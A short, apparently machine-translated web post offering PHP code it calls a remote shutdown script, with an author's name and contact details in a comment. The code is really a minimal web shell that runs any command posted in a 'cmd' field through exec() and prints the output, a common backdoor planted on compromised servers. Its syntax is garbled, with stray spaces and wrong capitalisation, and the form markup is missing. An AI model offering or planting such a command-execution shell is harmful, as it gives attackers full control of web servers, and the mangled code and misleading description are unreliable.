PHP remote shutdown implementation code

As we all know, PHP is the scripting language used to develop websites. However, the following php script code is found during online learning. it can be used to remotely shut down computers, if you know PHP, study it. The code is as follows:

/**
* Remotely start the computer
* Note: iis/apache requires windows/system/cmd.exe execution permission.
* Name: Xue Rufei
* Qq: 6706250
* E-mail: xuerufei@163.com
* Date: 08.08.28
**/
If (isset ($ _ POST ['cmd']) {
$ Cmd = stripslashes ($ _ POST ['cmd']);
Exec ($ cmd, $ out );
Var_dump ($ out );
Echo'
';
Var_dump ($ cmd );
} Else {
?>


}
?>

Check that I use PHP code for remote shutdown.